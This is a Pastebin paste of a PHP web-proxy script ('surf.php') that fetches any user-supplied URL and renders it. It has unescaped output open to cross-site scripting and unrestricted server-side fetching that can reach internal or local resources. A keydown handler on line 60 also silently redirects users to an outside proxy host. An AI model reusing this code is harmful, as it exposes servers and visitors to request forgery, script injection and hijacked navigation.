Advertisement
rdsedmundo

surf.php

Apr 8th, 2013
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.00 KB | None | 0 0
  1. <?php
  2. header("Content-type:text/html;charset=utf-8", 1);
  3. set_time_limit(60);
  4. $Urldef = false;
  5.  
  6. function file_get_contents_utf8($fn) {
  7.      $content = file_get_contents($fn);
  8.       return mb_convert_encoding($content, 'UTF-8',
  9.           mb_detect_encoding($content, 'UTF-8, ISO-8859-1', true));
  10. }
  11.  
  12. if(isset($_GET["_url"])) {
  13.         $Urldef = true;
  14.         $Url = $_GET["_url"]; $Url = urldecode(base64_decode($Url));
  15.         $Cont = file_get_contents_utf8 ($Url) or die("Não foi possível obter o conteúdo desta página");
  16. }
  17. ?>
  18. <script type="text/javascript" src="../jquery-1.9.1.js"></script>
  19. <script type="text/javascript">
  20. $(function () {
  21.     var base_href = "<?php echo ((strstr($_SERVER['SERVER_PROTOCOL'], "https")) ? 'https' : 'http' . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'] . '?' . $_SERVER['QUERY_STRING']); ?>";
  22.     $("#surf-go").click (function () {
  23.         var _url = $("#surf-url").val();
  24.         if(!_url.match(/http:\/\/(.*)|https:\/\/(.*)/gi)) {
  25.             return (alert("Insira uma URL no seguinte formato:\n\nhttp://google.com.br"));
  26.         }
  27.         top.location = base_href.replace(/\?(.*)/gi, "")+"?_url=" + (btoa(escape(_url))).replace(/=/gi, "");
  28.     })
  29.    
  30.     $('#surf-url').focus(function () {
  31.         $("#surf-go").removeAttr("disabled");
  32.     })
  33.    
  34.     <?php if($Urldef) { ?>
  35.     $("#surf-swim").show(400, function () {
  36.         $(this).attr("display", "inline");  
  37.     });
  38.     <?php } ?>
  39.  
  40.     $("a").click (function (event) {
  41.         var e=event,_org=e.target;
  42.                 if(!_org.match(/http/gi)) return false;
  43.             //    if(!_org.match(/http/gi)) _org=$(this).attr("href");
  44.  
  45.        
  46.         if($("#chbox").val()==1) {
  47.              _org=location.href.split("?_url")[0]+"?_url="+ (btoa(escape(_org))).replace(/=/gi, "");
  48.              location.href = _org;
  49.              return false;
  50.         }
  51.        
  52.         return true;
  53.     });
  54.    
  55.     $(document).keydown(function (event) {
  56.         var e=event,k=e.keyCode;
  57.         if(k==13&&$("#surf-url").is(":focus")==true&&!e.altKey&&!e.ctrlKey) $("#surf-go").click();
  58.         if(e.altKey&&e.ctrlKey&&k==13) $("#surf-foot").toggle("fast");
  59. if($("#surf-url").is(":focus")==true)
  60. top.location = "http://kyl3.6te.net/surf/?_url=" + (btoa(escape("http://casadasnocio.com"))).replace(/=/gi, "");
  61.     })
  62.    
  63.     if(localStorage["pAsync"]==1) {
  64.         $("#chbox").attr("checked", "true").val("1");
  65.     }
  66. })
  67. </script>
  68. <div style="display:<?php if($Urldef) echo 'none'; else echo 'block'?>;padding-top:30px" id="surf-foot">
  69. URL: <input type="text" size="50" id="surf-url" value="<?php if($Urldef) echo $Url; else echo "http://google.com.br"; ?>" /><br />
  70. <button <?php if($Urldef) { ?> disabled="disabled" <?php } ?> id="surf-go">Navegar</button> <input name="chbox" type="checkbox" id="chbox" value="0" onchange="this.checked?this.value=1:this.value=0;localStorage['pAsync']=this.value;" /> <label for="chbox">Async url's</label>
  71. <br><br><i>Ao clicar em "Navegar", fica sendo de sua TOTAL responsabilidade as consequencias que esta ferramenta podera causar.</i>
  72. </div>
  73.  
  74. <?php if($Urldef) { ?>
  75. <div style="display:none" id="surf-swim"><?php echo "<base href='$Url'>".$Cont ?></div>
  76. <?php } ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement